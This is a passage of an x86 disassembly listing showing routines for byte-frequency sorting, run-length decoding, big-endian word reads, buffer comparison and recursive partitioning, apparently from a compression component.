[ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] add edx, [ecx] mov [ebp+var_C], edx jmp short loc_48D718 ; --------------------------------------------------------------------------- loc_48D70F: ; CODE XREF: sub_48D679+C6j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_48D718: ; CODE XREF: sub_48D679+94j mov ecx, [ebp+var_4] cmp ecx, [ebp+var_C] jnb short loc_48D741 mov edx, [ebp+var_4] xor eax, eax mov al, [edx] mov ecx, [ebp+eax*4+var_820] add ecx, 1 mov edx, [ebp+var_4] xor eax, eax mov al, [edx] mov [ebp+eax*4+var_820], ecx jmp short loc_48D70F ; --------------------------------------------------------------------------- loc_48D741: ; CODE XREF: sub_48D679+A5j mov [ebp+var_10], 1 jmp short loc_48D753 ; --------------------------------------------------------------------------- loc_48D74A: ; CODE XREF: sub_48D679+101j mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_48D753: ; CODE XREF: sub_48D679+CFj cmp [ebp+var_10], 100h jge short loc_48D77C mov edx, [ebp+var_10] mov eax, [ebp+edx*4+var_418] mov ecx, [ebp+var_10] add eax, [ebp+ecx*4+var_824] mov edx, [ebp+var_10] mov [ebp+edx*4+var_414], eax jmp short loc_48D74A ; --------------------------------------------------------------------------- loc_48D77C: ; CODE XREF: sub_48D679+E1j mov eax, [ebp+arg_0] mov [ebp+var_41C], eax mov [ebp+var_418], 0 jmp short loc_48D7AF ; --------------------------------------------------------------------------- loc_48D791: ; CODE XREF: sub_48D679+185j mov ecx, [ebp+var_418] add ecx, 1 mov [ebp+var_418], ecx mov edx, [ebp+var_41C] add edx, 1 mov [ebp+var_41C], edx loc_48D7AF: ; CODE XREF: sub_48D679+116j mov eax, [ebp+arg_8] mov ecx, [ebp+var_418] cmp ecx, [eax] jnb short loc_48D800 mov edx, [ebp+var_41C] xor eax, eax mov al, [edx] mov ecx, [ebp+eax*4+var_414] mov edx, [ebp+var_8] mov eax, [ebp+var_418] mov [edx+ecx*4], eax mov ecx, [ebp+var_41C] xor edx, edx mov dl, [ecx] mov eax, [ebp+edx*4+var_414] add eax, 1 mov ecx, [ebp+var_41C] xor edx, edx mov dl, [ecx] mov [ebp+edx*4+var_414], eax jmp short loc_48D791 ; --------------------------------------------------------------------------- loc_48D800: ; CODE XREF: sub_48D679+141j mov eax, [ebp+arg_4] mov [ebp+var_41C], eax mov [ebp+var_420], 0 mov ecx, [ebp+var_824] mov [ebp+var_828], ecx jmp short loc_48D842 ; --------------------------------------------------------------------------- loc_48D821: ; CODE XREF: sub_48D679+1F8j mov edx, [ebp+var_420] add edx, 1 mov [ebp+var_420], edx mov eax, [ebp+var_828] mov ecx, [ebp+var_8] mov edx, [ecx+eax*4] mov [ebp+var_828], edx loc_48D842: ; CODE XREF: sub_48D679+1A6j mov eax, [ebp+arg_8] mov ecx, [ebp+var_420] cmp ecx, [eax] jnb short loc_48D873 mov edx, [ebp+arg_0] add edx, [ebp+var_828] mov eax, [ebp+var_41C] mov cl, [edx] mov [eax], cl mov edx, [ebp+var_41C] add edx, 1 mov [ebp+var_41C], edx jmp short loc_48D821 ; --------------------------------------------------------------------------- loc_48D873: ; CODE XREF: sub_48D679+1D4j mov eax, [ebp+var_8] mov [ebp+var_830], eax mov ecx, [ebp+var_830] push ecx call sub_4C85D6 add esp, 4 mov esp, ebp pop ebp retn sub_48D679 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_48D88F(int,void *Dst,int,int) sub_48D88F proc near ; CODE XREF: .text:0048D56Dp ; .text:0048DA13p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 Dst = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] add eax, 1 mov [ebp+var_10], eax mov ecx, [ebp+Dst] mov [ebp+var_14], ecx mov edx, [ebp+arg_8] mov eax, [ebp+arg_0] add eax, [edx] mov [ebp+var_8], eax mov ecx, [ebp+Dst] add ecx, [ebp+arg_C] mov [ebp+var_C], ecx mov [ebp+var_4], 0FFh mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] test eax, eax jnz short loc_48D8F4 mov ecx, [ebp+arg_8] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_8] mov edx, [ecx] push edx ; Size mov eax, [ebp+arg_0] add eax, 1 push eax ; Src mov ecx, [ebp+Dst] push ecx ; Dst call _memcpy_1 add esp, 0Ch mov al, 1 jmp loc_48D9E4 ; --------------------------------------------------------------------------- loc_48D8F4: ; CODE XREF: sub_48D88F+36j ; sub_48D88F:loc_48D9C9j mov edx, [ebp+var_10] cmp edx, [ebp+var_8] jnb loc_48D9CE mov eax, [ebp+var_14] cmp eax, [ebp+var_C] jnb loc_48D9CE mov ecx, [ebp+var_10] xor edx, edx mov dl, [ecx] cmp edx, 0FFh jnz loc_48D9A5 mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax mov ecx, [ebp+var_10] xor edx, edx mov dl, [ecx] cmp edx, 0FFh jz short loc_48D97F mov eax, [ebp+var_10] xor ecx, ecx mov cl, [eax] add ecx, 3 mov [ebp+var_18], ecx mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx mov eax, [ebp+var_14] add eax, [ebp+var_18] cmp eax, [ebp+var_C] jb short loc_48D95A jmp short loc_48D9CE ; --------------------------------------------------------------------------- loc_48D95A: ; CODE XREF: sub_48D88F+C7j ; sub_48D88F+ECj mov ecx, [ebp+var_18] mov edx, [ebp+var_18] sub edx, 1 mov [ebp+var_18], edx test ecx, ecx jz short loc_48D97D mov eax, [ebp+var_14] mov cl, [ebp+var_4] mov [eax], cl mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx jmp short loc_48D95A ; --------------------------------------------------------------------------- loc_48D97D: ; CODE XREF: sub_48D88F+D9j jmp short loc_48D9A3 ; --------------------------------------------------------------------------- loc_48D97F: ; CODE XREF: sub_48D88F+A6j mov eax, [ebp+var_14] mov ecx, [ebp+var_10] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_14] mov cl, [eax] mov [ebp+var_4], cl mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_48D9A3: ; CODE XREF: sub_48D88F:loc_48D97Dj jmp short loc_48D9C9 ; --------------------------------------------------------------------------- loc_48D9A5: ; CODE XREF: sub_48D88F+8Aj mov ecx, [ebp+var_14] mov edx, [ebp+var_10] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_14] mov dl, [ecx] mov [ebp+var_4], dl mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_48D9C9: ; CODE XREF: sub_48D88F:loc_48D9A3j jmp loc_48D8F4 ; --------------------------------------------------------------------------- loc_48D9CE: ; CODE XREF: sub_48D88F+6Bj ; sub_48D88F+77j ... mov edx, [ebp+var_14] sub edx, [ebp+Dst] mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+var_10] xor eax, eax cmp ecx, [ebp+var_8] setz al loc_48D9E4: ; CODE XREF: sub_48D88F+60j mov esp, ebp pop ebp retn sub_48D88F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+10h] push eax call sub_4C85E1 add esp, 4 mov [ebp-8], eax mov ecx, [ebp-8] mov [ebp-4], ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp-4] push ecx mov edx, [ebp+8] push edx call sub_48D88F add esp, 10h and eax, 0FFh test eax, eax jz short loc_48DA50 mov eax, [ebp+0Ch] mov ecx, [eax] push ecx mov edx, [ebp-4] push edx mov eax, [ebp+8] push eax call _memcpy_1 add esp, 0Ch mov ecx, [ebp-4] mov [ebp-0Ch], ecx mov edx, [ebp-0Ch] push edx call sub_4C85D6 add esp, 4 mov al, 1 jmp short loc_48DA52 ; --------------------------------------------------------------------------- loc_48DA50: ; CODE XREF: .text:0048DA22j xor al, al loc_48DA52: ; CODE XREF: .text:0048DA4Ej mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48DA60 proc near ; CODE XREF: sub_48DA60+82p ; sub_48DA60+E2p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx cmp [ebp+arg_4], 0 jz loc_48DB4F mov eax, [ebp+var_20] mov ecx, [eax+4] sub ecx, [ebp+arg_0] mov [ebp+var_C], ecx mov edx, [ebp+arg_4] cmp edx, [ebp+var_C] jb short loc_48DAF2 mov eax, [ebp+arg_4] sub eax, [ebp+var_C] mov [ebp+arg_4], eax mov ecx, [ebp+var_20] mov edx, [ecx] add edx, [ebp+arg_4] mov [ebp+var_10], edx mov eax, [ebp+var_20] mov ecx, [ebp+var_10] cmp ecx, [eax+8] jnb short loc_48DAD9 mov edx, [ebp+var_10] xor eax, eax mov al, [edx] shl eax, 18h mov ecx, [ebp+var_10] xor edx, edx mov dl, [ecx+1] shl edx, 10h or eax, edx mov ecx, [ebp+var_10] xor edx, edx mov dl, [ecx+2] shl edx, 8 or eax, edx mov ecx, [ebp+var_10] xor edx, edx mov dl, [ecx+3] or eax, edx mov [ebp+var_14], eax jmp short loc_48DAEA ; --------------------------------------------------------------------------- loc_48DAD9: ; CODE XREF: sub_48DA60+44j push 0 mov eax, [ebp+var_10] push eax mov ecx, [ebp+var_20] call sub_48DA60 mov [ebp+var_14], eax loc_48DAEA: ; CODE XREF: sub_48DA60+77j mov eax, [ebp+var_14] jmp loc_48DBA1 ; --------------------------------------------------------------------------- loc_48DAF2: ; CODE XREF: sub_48DA60+25j mov ecx, [ebp+arg_0] add ecx, [ebp+arg_4] mov [ebp+var_18], ecx mov edx, [ebp+var_20] mov eax, [ebp+var_18] cmp eax, [edx+8] jnb short loc_48DB39 mov ecx, [ebp+var_18] xor edx, edx mov dl, [ecx] shl edx, 18h mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax+1] shl ecx, 10h or edx, ecx mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax+2] shl ecx, 8 or edx, ecx mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax+3] or edx, ecx mov [ebp+var_1C], edx jmp short loc_48DB4A ; --------------------------------------------------------------------------- loc_48DB39: ; CODE XREF: sub_48DA60+A4j push 0 mov edx, [ebp+var_18] push edx mov ecx, [ebp+var_20] call sub_48DA60 mov [ebp+var_1C], eax loc_48DB4A: ; CODE XREF: sub_48DA60+D7j mov eax, [ebp+var_1C] jmp short loc_48DBA1 ; --------------------------------------------------------------------------- loc_48DB4F: ; CODE XREF: sub_48DA60+Dj mov [ebp+var_4], 0 mov [ebp+var_8], 0 jmp short loc_48DB68 ; --------------------------------------------------------------------------- loc_48DB5F: ; CODE XREF: sub_48DA60:loc_48DB9Cj mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_48DB68: ; CODE XREF: sub_48DA60+FDj cmp [ebp+var_8], 4 jge short loc_48DB9E mov ecx, [ebp+var_4] shl ecx, 8 mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] or ecx, eax mov [ebp+var_4], ecx mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+var_20] mov eax, [ebp+arg_0] cmp eax, [edx+4] jb short loc_48DB9C mov ecx, [ebp+var_20] mov edx, [ecx] mov [ebp+arg_0], edx loc_48DB9C: ; CODE XREF: sub_48DA60+132j jmp short loc_48DB5F ; --------------------------------------------------------------------------- loc_48DB9E: ; CODE XREF: sub_48DA60+10Cj mov eax, [ebp+var_4] loc_48DBA1: ; CODE XREF: sub_48DA60+8Dj ; sub_48DA60+EDj mov esp, ebp pop ebp retn 8 sub_48DA60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_48DBA7(void *Buf1,void *Buf2) sub_48DBA7 proc near ; CODE XREF: .text:0048DCDCp ; sub_48E26C+46p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Buf1 = dword ptr 8 Buf2 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov [ebp+var_14], ecx mov eax, [ebp+Buf1] mov [ebp+var_C], eax mov ecx, [ebp+Buf1] cmp [ebp+Buf2], ecx sbb edx, edx neg edx mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_8] and eax, 0FFh test eax, eax jz short loc_48DBE1 mov ecx, [ebp+Buf1] mov [ebp+var_10], ecx mov edx, [ebp+Buf2] mov [ebp+Buf1], edx mov eax, [ebp+var_10] mov [ebp+Buf2], eax loc_48DBE1: ; CODE XREF: sub_48DBA7+26j mov ecx, [ebp+var_14] mov edx, [ecx+4] sub edx, [ebp+Buf2] push edx ; Size mov eax, [ebp+Buf2] push eax ; Buf2 mov ecx, [ebp+Buf1] push ecx ; Buf1 call _memcmp_0 add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_48DC3A mov edx, [ebp+var_14] mov eax, [edx+4] sub eax, [ebp+Buf2] mov ecx, [ebp+Buf1] add ecx, eax mov [ebp+Buf1], ecx mov edx, [ebp+var_14] mov eax, [edx] mov [ebp+Buf2], eax mov ecx, [ebp+var_14] mov edx, [ecx+4] sub edx, [ebp+Buf1] push edx ; Size mov eax, [ebp+Buf2] push eax ; Buf2 mov ecx, [ebp+Buf1] push ecx ; Buf1 call _memcmp_0 add esp, 0Ch mov [ebp+var_4], eax loc_48DC3A: ; CODE XREF: sub_48DBA7+5Bj cmp [ebp+var_4], 0 jnz short loc_48DC73 mov edx, [ebp+var_14] mov eax, [edx+4] sub eax, [ebp+Buf1] mov ecx, [ebp+Buf2] add ecx, eax mov [ebp+Buf2], ecx mov edx, [ebp+var_14] mov eax, [edx] mov [ebp+Buf1], eax mov ecx, [ebp+var_C] sub ecx, [ebp+Buf1] push ecx ; Size mov edx, [ebp+Buf2] push edx ; Buf2 mov eax, [ebp+Buf1] push eax ; Buf1 call _memcmp_0 add esp, 0Ch mov [ebp+var_4], eax loc_48DC73: ; CODE XREF: sub_48DBA7+97j mov ecx, [ebp+var_8] and ecx, 0FFh test ecx, ecx jz short loc_48DC87 mov eax, [ebp+var_4] neg eax jmp short loc_48DC8A ; --------------------------------------------------------------------------- loc_48DC87: ; CODE XREF: sub_48DBA7+D7j mov eax, [ebp+var_4] loc_48DC8A: ; CODE XREF: sub_48DBA7+DEj mov esp, ebp pop ebp retn 8 sub_48DBA7 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch mov [ebp-0Ch], ecx mov eax, [ebp-0Ch] mov ecx, [eax+18h] mov edx, [ebp+8] mov eax, [ecx+edx*4] mov [ebp-8], eax mov ecx, [ebp-0Ch] mov edx, [ecx+18h] mov eax, [ebp+0Ch] mov ecx, [edx+eax*4] mov [ebp-4], ecx mov edx, [ebp-8] cmp edx, [ebp-4] jnz short loc_48DCE3 mov eax, [ebp-0Ch] mov ecx, [eax+0Ch] mov edx, [ebp+0Ch] mov eax, [ecx+edx*4] push eax mov ecx, [ebp-0Ch] mov edx, [ecx+0Ch] mov eax, [ebp+8] mov ecx, [edx+eax*4] push ecx mov ecx, [ebp-0Ch] call sub_48DBA7 jmp short loc_48DCF5 ; --------------------------------------------------------------------------- loc_48DCE3: ; CODE XREF: .text:0048DCBDj mov edx, [ebp-8] cmp edx, [ebp-4] jbe short loc_48DCF2 mov eax, 1 jmp short loc_48DCF5 ; --------------------------------------------------------------------------- loc_48DCF2: ; CODE XREF: .text:0048DCE9j or eax, 0FFFFFFFFh loc_48DCF5: ; CODE XREF: .text:0048DCE1j ; .text:0048DCF0j mov esp, ebp pop ebp retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48DCFB proc near ; CODE XREF: sub_48DCFB+543p ; sub_48DCFB+565p ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0A8h push esi mov [ebp+var_A8], ecx mov eax, [ebp+arg_0] add eax, 2 cmp eax, [ebp+arg_4] jnz loc_48DDC9 mov ecx, [ebp+var_A8] mov edx, [ecx+18h] mov eax, [ebp+var_A8] mov ecx, [eax+18h] mov eax, [ebp+arg_0] mov esi, [ebp+arg_0] mov edx, [edx+eax*4] cmp edx, [ecx+esi*4+4] jbe loc_48DDC4 mov eax, [ebp+arg_0] add eax, 1 mov [ebp+var_2C], eax mov ecx, [ebp+var_A8] mov edx, [ecx+0Ch] mov eax, [ebp+arg_0] lea ecx, [edx+eax*4] mov [ebp+var_1C], ecx mov edx, [ebp+var_A8] mov eax, [edx+0Ch] mov ecx, [ebp+var_2C] lea edx, [eax+ecx*4] mov [ebp+var_20], edx mov eax, [ebp+var_1C] mov ecx, [eax] mov [ebp+var_24], ecx mov edx, [ebp+var_1C] mov eax, [ebp+var_20] mov ecx, [eax] mov [edx], ecx mov edx, [ebp+var_20] mov eax, [ebp+var_24] mov [edx], eax mov ecx, [ebp+var_A8] mov edx, [ecx+18h] mov eax, [ebp+arg_0] lea ecx, [edx+eax*4] mov [ebp+var_14], ecx mov edx, [ebp+var_A8] mov eax, [edx+18h] mov ecx, [ebp+var_2C] lea edx, [eax+ecx*4] mov [ebp+var_18], edx mov eax, [ebp+var_14] mov ecx, [eax] mov [ebp+var_28], ecx mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov ecx, [eax] mov [edx], ecx mov edx, [ebp+var_18] mov eax, [ebp+var_28] mov [edx], eax loc_48DDC4: ; CODE XREF: sub_48DCFB+3Ej jmp loc_48E265 ; --------------------------------------------------------------------------- loc_48DDC9: ; CODE XREF: sub_48DCFB+19j mov ecx, [ebp+arg_0] add ecx, 3 cmp ecx, [ebp+arg_4] jnz loc_48DFEE mov edx, [ebp+var_A8] mov eax, [edx+18h] mov ecx, [ebp+var_A8] mov edx, [ecx+18h] mov ecx, [ebp+arg_0] mov esi, [ebp+arg_0] mov eax, [eax+ecx*4] cmp eax, [edx+esi*4+8] jbe loc_48DE82 mov ecx, [ebp+arg_0] add ecx, 2 mov [ebp+var_48], ecx mov edx, [ebp+var_A8] mov eax, [edx+0Ch] mov ecx, [ebp+arg_0] lea edx, [eax+ecx*4] mov [ebp+var_38], edx mov eax, [ebp+var_A8] mov ecx, [eax+0Ch] mov edx, [ebp+var_48] lea eax, [ecx+edx*4] mov [ebp+var_3C], eax mov ecx, [ebp+var_38] mov edx, [ecx] mov [ebp+var_40], edx mov eax, [ebp+var_38] mov ecx, [ebp+var_3C] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_3C] mov ecx, [ebp+var_40] mov [eax], ecx mov edx, [ebp+var_A8] mov eax, [edx+18h] mov ecx, [ebp+arg_0] lea edx, [eax+ecx*4] mov [ebp+var_30], edx mov eax, [ebp+var_A8] mov ecx, [eax+18h] mov edx, [ebp+var_48] lea eax, [ecx+edx*4] mov [ebp+var_34], eax mov ecx, [ebp+var_30] mov edx, [ecx] mov [ebp+var_44], edx mov eax, [ebp+var_30] mov ecx, [ebp+var_34] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_34] mov ecx, [ebp+var_44] mov [eax], ecx loc_48DE82: ; CODE XREF: sub_48DCFB+FCj mov edx, [ebp+var_A8] mov eax, [edx+18h] mov ecx, [ebp+var_A8] mov edx, [ecx+18h] mov ecx, [ebp+arg_0] mov esi, [ebp+arg_0] mov eax, [eax+ecx*4] cmp eax, [edx+esi*4+4] jbe loc_48DF31 mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+var_64], ecx mov edx, [ebp+var_A8] mov eax, [edx+0Ch] mov ecx, [ebp+arg_0] lea edx, [eax+ecx*4] mov [ebp+var_54], edx mov eax, [ebp+var_A8] mov ecx, [eax+0Ch] mov edx, [ebp+var_64] lea eax, [ecx+edx*4] mov [ebp+var_58], eax mov ecx, [ebp+var_54] mov edx, [ecx] mov [ebp+var_5C], edx mov eax, [ebp+var_54] mov ecx, [ebp+var_58] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_58] mov ecx, [ebp+var_5C] mov [eax], ecx mov edx, [ebp+var_A8] mov eax, [edx+18h] mov ecx, [ebp+arg_0] lea edx, [eax+ecx*4] mov [ebp+var_4C], edx mov eax, [ebp+var_A8] mov ecx, [eax+18h] mov edx, [ebp+var_64] lea eax, [ecx+edx*4] mov [ebp+var_50], eax mov ecx, [ebp+var_4C] mov edx, [ecx] mov [ebp+var_60], edx mov eax, [ebp+var_4C] mov ecx, [ebp+var_50] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_50] mov ecx, [ebp+var_60] mov [eax], ecx jmp loc_48DFEE ; --------------------------------------------------------------------------- loc_48DF31: ; CODE XREF: sub_48DCFB+1A6j mov edx, [ebp+var_A8] mov eax, [edx+18h] mov ecx, [ebp+var_A8] mov edx, [ecx+18h] mov ecx, [ebp+arg_0] mov esi, [ebp+arg_0] mov eax, [eax+ecx*4+4] cmp eax, [edx+esi*4+8] jbe loc_48DFEE mov ecx, [ebp+arg_0] add ecx, 2 mov [ebp+var_84], ecx mov edx, [ebp+arg_0] add edx, 1 mov [ebp+var_80], edx mov eax, [ebp+var_A8] mov ecx, [eax+0Ch] mov edx, [ebp+var_80] lea eax, [ecx+edx*4] mov [ebp+var_70], eax mov ecx, [ebp+var_A8] mov edx, [ecx+0Ch] mov eax, [ebp+var_84] lea ecx, [edx+eax*4] mov [ebp+var_74], ecx mov edx, [ebp+var_70] mov eax, [edx] mov [ebp+var_78], eax mov ecx, [ebp+var_70] mov edx, [ebp+var_74] mov eax, [edx] mov [ecx], eax mov ecx, [ebp+var_74] mov edx, [ebp+var_78] mov [ecx], edx mov eax, [ebp+var_A8] mov ecx, [eax+18h] mov edx, [ebp+var_80] lea eax, [ecx+edx*4] mov [ebp+var_68], eax mov ecx, [ebp+var_A8] mov edx, [ecx+18h] mov eax, [ebp+var_84] lea ecx, [edx+eax*4] mov [ebp+var_6C], ecx mov edx, [ebp+var_68] mov eax, [edx] mov [ebp+var_7C], eax mov ecx, [ebp+var_68] mov edx, [ebp+var_6C] mov eax, [edx] mov [ecx], eax mov ecx, [ebp+var_6C] mov edx, [ebp+var_7C] mov [ecx], edx loc_48DFEE: ; CODE XREF: sub_48DCFB+D7j ; sub_48DCFB+231j ... mov eax, [ebp+var_A8] mov ecx, [eax+18h] mov edx, [ebp+arg_0] lea eax, [ecx+edx*4] mov [ebp+var_8], eax mov ecx, [ebp+var_A8] mov edx, [ecx+18h] mov eax, [ebp+arg_4] lea ecx, [edx+eax*4] mov [ebp+var_C], ecx mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_10], eax mov ecx, [ebp+var_8] add ecx, 4 mov [ebp+var_8], ecx loc_48E023: ; CODE XREF: sub_48DCFB+34Dj mov edx, [ebp+var_8] cmp edx, [ebp+var_C] jnb short loc_48E04A mov eax, [ebp+var_8] mov ecx, [eax] cmp ecx, [ebp+var_10] jnb short loc_48E037 jmp short loc_48E04A ; --------------------------------------------------------------------------- loc_48E037: ; CODE XREF: sub_48DCFB+338j mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_10], eax mov ecx, [ebp+var_8] add ecx, 4 mov [ebp+var_8], ecx jmp short loc_48E023 ; --------------------------------------------------------------------------- loc_48E04A: ; CODE XREF: sub_48DCFB+32Ej ; sub_48DCFB+33Aj mov edx, [ebp+var_8] cmp edx, [ebp+var_C] jnz short loc_48E057 jmp loc_48E265 ; --------------------------------------------------------------------------- loc_48E057: ; CODE XREF: sub_48DCFB+355j mov eax, [ebp+var_A8] mov ecx, [eax+18h] mov edx, [ebp+arg_0] lea eax, [ecx+edx*4] mov [ebp+var_8], eax mov ecx, [ebp+var_A8] mov edx, [ecx+18h] mov eax, [ebp+arg_4] lea ecx, [edx+eax*4-4] mov [ebp+var_C], ecx loc_48E07C: ; CODE XREF: sub_48DCFB:loc_48E1CBj mov edx, 1 test edx, edx jz loc_48E1D0 loc_48E089: ; CODE XREF: sub_48DCFB+3ABj mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_48E0A8 mov ecx, [ebp+var_8] mov edx, [ecx] and edx, [ebp+arg_8] test edx, edx jnz short loc_48E0A8 mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax jmp short loc_48E089 ; --------------------------------------------------------------------------- loc_48E0A8: ; CODE XREF: sub_48DCFB+394j ; sub_48DCFB+3A0j ... mov ecx, [ebp+var_C] cmp ecx, [ebp+var_8] jbe short loc_48E0C7 mov edx, [ebp+var_C] mov eax, [edx] and eax, [ebp+arg_8] test eax, eax jz short loc_48E0C7 mov ecx, [ebp+var_C] sub ecx, 4 mov [ebp+var_C], ecx jmp short loc_48E0A8 ; --------------------------------------------------------------------------- loc_48E0C7: ; CODE XREF: sub_48DCFB+3B3j ; sub_48DCFB+3BFj mov edx, [ebp+var_8] cmp edx, [ebp+var_C] jnb loc_48E1C9 mov eax, [ebp+var_A8] mov ecx, [ebp+var_C] sub ecx, [eax+18h] sar ecx, 2 mov [ebp+var_A4], ecx mov edx, [ebp+var_A8] mov eax, [ebp+var_8] sub eax, [edx+18h] sar eax, 2 mov [ebp+var_A0], eax mov ecx, [ebp+var_8] add ecx, 4 mov [ebp+var_8], ecx mov edx, [ebp+var_C] sub edx, 4 mov [ebp+var_C], edx mov eax, [ebp+var_A8] mov ecx, [eax+0Ch] mov edx, [ebp+var_A0] lea eax, [ecx+edx*4] mov [ebp+var_90], eax mov ecx, [ebp+var_A8] mov edx, [ecx+0Ch] mov eax, [ebp+var_A4] lea ecx, [edx+eax*4] mov [ebp+var_94], ecx mov edx, [ebp+var_90] mov eax, [edx] mov [ebp+var_98], eax mov ecx, [ebp+var_90] mov edx, [ebp+var_94] mov eax, [edx] mov [ecx], eax mov ecx, [ebp+var_94] mov edx, [ebp+var_98] mov [ecx], edx mov eax, [ebp+var_A8] mov ecx, [eax+18h] mov edx, [ebp+var_A0] lea eax, [ecx+edx*4] mov [ebp+var_88], eax mov ecx, [ebp+var_A8] mov edx, [ecx+18h] mov eax, [ebp+var_A4] lea ecx, [edx+eax*4] mov [ebp+var_8C], ecx mov edx, [ebp+var_88] mov eax, [edx] mov [ebp+var_9C], eax mov ecx, [ebp+var_88] mov edx, [ebp+var_8C] mov eax, [edx] mov [ecx], eax mov ecx, [ebp+var_8C] mov edx, [ebp+var_9C] mov [ecx], edx jmp short loc_48E1CB ; --------------------------------------------------------------------------- loc_48E1C9: ; CODE XREF: sub_48DCFB+3D2j jmp short loc_48E1D0 ; --------------------------------------------------------------------------- loc_48E1CB: ; CODE XREF: sub_48DCFB+4CCj jmp loc_48E07C ; --------------------------------------------------------------------------- loc_48E1D0: ; CODE XREF: sub_48DCFB+388j ; sub_48DCFB:loc_48E1C9j mov eax, [ebp+var_A8] mov ecx, [eax+18h] mov edx, [ebp+arg_4] lea eax, [ecx+edx*4] mov [ebp+var_C], eax loc_48E1E2: ; CODE XREF: sub_48DCFB+504j mov ecx, [ebp+var_8] cmp ecx, [ebp+var_C] jnb short loc_48E201 mov edx, [ebp+var_8] mov eax, [edx] and eax, [ebp+arg_8] test eax, eax jnz short loc_48E201 mov ecx, [ebp+var_8] add ecx, 4 mov [ebp+var_8], ecx jmp short loc_48E1E2 ; --------------------------------------------------------------------------- loc_48E201: ; CODE XREF: sub_48DCFB+4EDj ; sub_48DCFB+4F9j mov edx, [ebp+var_A8] mov eax, [ebp+var_8] sub eax, [edx+18h] sar eax, 2 mov [ebp+var_4], eax mov ecx, [ebp+arg_8] shr ecx, 1 mov [ebp+arg_8], ecx cmp [ebp+arg_8], 0 jz short loc_48E265 mov edx, [ebp+arg_0] add edx, 1 cmp edx, [ebp+var_4] jnb short loc_48E243 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx mov ecx, [ebp+var_A8] call sub_48DCFB 